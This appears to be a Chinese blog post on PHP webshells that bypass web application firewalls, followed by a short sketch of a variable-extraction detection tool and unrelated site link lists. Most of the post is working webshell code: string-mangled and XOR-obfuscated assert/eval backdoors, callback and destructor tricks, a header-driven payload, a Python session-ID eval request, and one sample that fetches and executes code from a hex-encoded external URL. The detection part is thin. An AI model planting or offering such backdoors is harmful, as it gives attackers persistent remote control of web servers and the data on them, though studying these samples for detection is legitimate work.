PHP常见过waf webshell以及最简单的检测方法


Posted in PHP onMay 21, 2019

前言

之前在Webshell查杀的新思路中留了一个坑 ️,当时没有找到具体找到全部变量的方法,后来通过学习找到了个打印全部量的方法,并再次学习了下PHP webshell绕过WAF的方法,以此来验证下此方法是否合理。

如有错误,还请指出,不胜感激! :turtle:拜

在那篇文章中我突然想到一种检测webshell的方法,就是首先获取到当前文件中的所有变量(不明白的可以先去看下之前的文章),然后再根据正则库进行静态检测。

自认为这种方法虽然会检测不完全(每个检测机制都不能保障全部有效),但是感觉非常简单、实用,也没那么多高深的道理。

为了验证该检测机制,首先了解下目前PHP webshell绕过WAF的方法。

常见绕过WAF的PHP webshell

字符串变形

大小写、编码、截取、替换、特殊字符拼接、null、回车、换行、特殊字符串干扰

<?php
$a = base64_decode("YXNzYXNz+00000____");
$a = substr_replace($a,"ert",3);
$a($_POST['x']);
?>

ucwords()
ucfirst()
trim()
substr_replace()
substr()
strtr()
strtoupper()
strtolower()
strtok()
str_rot13()
chr()
gzcompress()、gzdeflate()、gzencode()
gzuncompress()、gzinflate()、gzdecode()
base64_encode()
base64_decode()
pack()
unpack()

自写函数

利用 assert()

<?php 
function test($a){
  $a($_POST['x']);
}
test(assert);
?>

回调函数

<?php 
call_user_func(assert,array($_POST[x]));
?>

call_user_func_array()
array_filter() 
array_walk() 
array_map()
registregister_shutdown_function()
register_tick_function()
filter_var() 
filter_var_array() 
uasort() 
uksort() 
array_reduce()
array_walk() 
array_walk_recursive()
forward_static_call_array()


利用魔术方法、析构函数 __destruct() , __construct()

<?php 
class test
{
 public $a = '';
 function __destruct(){
  assert("$this->a");
 }
}
$b = new test;
$b->a = $_POST['x'];
?>

利用外部文件

利用 curl , fsockopen 等发起网络请求再结合 file_get_contents

<?php
error_reporting(0);
session_start();
header("Content-type:text/html;charset=utf-8");if(empty($_SESSION['api']))
$_SESSION['api']=substr(file_get_contents(sprintf('%s?%s',pack("H*",
'687474703a2f2f7777772e77326e31636b2e636f6d2f7368656c6c2f312e6a7067'),uniqid())),3649);
@preg_replace("~(.*)~ies",gzuncompress($_SESSION['api']),null);
?>

无字符特征马

编码、异或、自增

<?php
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert';
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST';
$___=$$__;
$_($___[_]); // assert($_POST[_]);
?>

特殊请求头

利用 getallheaders()

<?php
$cai=getallheaders()['cai'];
$dao=getallheaders()['dao'];
if($cai!="" and $dao!=""){
 $cai=gzuncompress(base64_decode($cai));$cai(gzuncompress(base64_decode($dao)));
}
header('HTTP/1.1 404 Not Found');
?>

全局变量

利用 getenv() , arrag_flip() , get_defined_vars() , session_id()

import requests
url = 'http://localhost/?code=eval(hex2bin(session_id(session_start())));'
payload = "phpinfo();".encode('hex')
cookies = {
 'PHPSESSID':payload
}
r = requests.get(url=url,cookies=cookies)
print r.content

PHP混淆加解密

以phpjiami为例

就是将函数名、变量名全部变成”乱码”,且改动任意一个地方,都将导致文件不能运行。具体可访问: https://www.phpjiami.com/

PHP webshell检测方法

目前我所了解的webshell检测方式有:

  1. 机器学习检测webshell:比如混淆度、最长单词、重合指数、特征、压缩比等
  2. 动态检测(沙箱)
  3. 基于流量模式检测webshell:agent
  4. 逆向算法+静态匹配检测webshell:比如D盾webshell查杀
  5. 根据文件入度出度来检测

实例展示

这里以PHPjiami的webshell为例,其中 2.php 即为phpjiama的木马

PHP常见过waf webshell以及最简单的检测方法

可以明显看到明显的webshell规则了,这样再用静态规则、正则等即可轻松检测到。

简单检测思路

检测思路:

文件上传->文件包含->获取所有文件中的变量到临时文件中->静态规则匹配临时文件->返回匹配结果

├── __init__.py
├── conf
│   ├── __init__.py
│   ├── config.py
├── core
│   ├── __init__.py
│   ├── all_check.py
│   ├── data_mysql.py
│   └── file_inotify.py
├── lib
│   ├── __init__.py
│   └── semantic_analysis_api.py
├── test
│   ├── __init__.py
│   ├── file_md5_move.py
│   ├── os_check.py
│   ├── random_file_test.py
│   └── ...
├── web
│   ├── static
│   │   ├── css
│   │   │   ├── main.css
│   │   ├── images
│   │   │   └── background.jpg
│   │   └── js
│   │       └── upload.js
│   ├── templates
│   │   ├── index.html
│   ├── upload_file.php
│   └── include_file_to_tmp.php
├── webshell_check.py

conf中包含的是诸如下列的静态检测规则

PHP常见过waf webshell以及最简单的检测方法

总结

以上就是这篇文章的全部内容了,希望本文的内容对大家的学习或者工作具有一定的参考学习价值,谢谢大家对三水点靠木的支持。

PHP 相关文章推荐
一个SQL管理员的web接口
Oct 09 PHP
PHP 修复未正常关闭的HTML标签实现代码(支持嵌套和就近闭合)
Jun 07 PHP
字符串长度函数strlen和mb_strlen的区别示例介绍
Sep 09 PHP
php实现按照权重随机排序数据的方法
Jan 09 PHP
PHP实现获取某个月份周次信息的方法
Aug 11 PHP
win7安装php框架Yii的方法
Jan 25 PHP
Yii2框架dropDownList下拉菜单用法实例分析
Jul 18 PHP
PHP AjaxForm提交图片上传并显示图片源码
Nov 29 PHP
php 魔术常量详解及实例代码
Dec 04 PHP
php中各种定义变量的方法小结
Oct 18 PHP
Laravel5.4框架中视图共享数据的方法详解
Sep 05 PHP
零基础php编程好学吗
Oct 11 PHP
PHP __call()方法实现委托示例
May 20 #PHP
PHP消息队列实现及应用详解【队列处理订单系统和配送系统】
May 20 #PHP
PHP常量define和const的区别详解
May 18 #PHP
thinkphp5框架实现的自定义扩展类操作示例
May 16 #PHP
java解析json方法总结
May 16 #PHP
微信支付之JSAPI公众号支付详解
May 15 #PHP
php获取目录下所有文件及目录(多种方法)(推荐)
May 14 #PHP
You might like
WINDOWS下php5.2.4+mysql6.0+apache2.2.4+ZendOptimizer-3.3.0配置
2008/03/28 PHP
彻底删除thinkphp3.1案例blog标签的方法
2014/12/05 PHP
php批量删除超链接的实现方法
2015/10/19 PHP
PHP基于DateTime类解决Unix时间戳与日期互转问题【针对1970年前及2038年后时间戳】
2018/06/13 PHP
php正则表达式使用方法整理集合
2020/01/31 PHP
JS阻止冒泡事件以及默认事件发生的简单方法
2014/01/17 Javascript
jquery实现具有嵌套功能的选项卡
2016/02/12 Javascript
js 自带的sort() 方法全面了解
2016/08/16 Javascript
js利用clipboardData实现截屏粘贴功能
2016/10/12 Javascript
如何使用Bootstrap创建表单
2017/03/29 Javascript
JavaScript实现的冒泡排序法及统计相邻数交换次数示例
2017/04/26 Javascript
详解vue渲染从后台获取的json数据
2017/07/06 Javascript
js实现移动端导航点击自动滑动效果
2017/07/18 Javascript
微信小程序之数据缓存的实例详解
2017/09/29 Javascript
帮你彻底搞懂JS中的prototype、__proto__与constructor(图解)
2019/08/23 Javascript
如何解决jQuery 和其他JS库的冲突
2020/06/22 jQuery
[01:04:14]VP vs TNC 2018国际邀请赛小组赛BO2 第二场 8.17
2018/08/20 DOTA
Python获取电脑硬件信息及状态的实现方法
2014/08/29 Python
Python编程实现生成特定范围内不重复多个随机数的2种方法
2017/04/14 Python
python实现微信接口(itchat)详细介绍
2017/10/23 Python
python 创建一个空dataframe 然后添加行数据的实例
2018/06/07 Python
Python网页正文转换语音文件的操作方法
2018/12/09 Python
python Dijkstra算法实现最短路径问题的方法
2019/09/19 Python
python 怎样将dataframe中的字符串日期转化为日期的方法
2019/09/26 Python
python实现猜数字游戏
2020/03/25 Python
Tensorflow tf.nn.atrous_conv2d如何实现空洞卷积的
2020/04/20 Python
利用matplotlib为图片上添加触发事件进行交互
2020/04/23 Python
Django+RestFramework API接口及接口文档并返回json数据操作
2020/07/12 Python
解决pyinstaller 打包exe文件太大,用pipenv 缩小exe的问题
2020/07/13 Python
用HTML5的canvas实现一个炫酷时钟效果
2016/05/20 HTML / CSS
美国专业汽车音响和移动电子产品零售商:Car Toys
2019/05/13 全球购物
意大利比基尼品牌:MISS BIKINI
2019/11/02 全球购物
销售职业生涯规划范文
2014/03/14 职场文书
2015年学生会纪检部工作总结
2015/03/31 职场文书
出纳岗位职责范本
2015/03/31 职场文书
总结三种用 Python 作为小程序后端的方式
2022/05/02 Python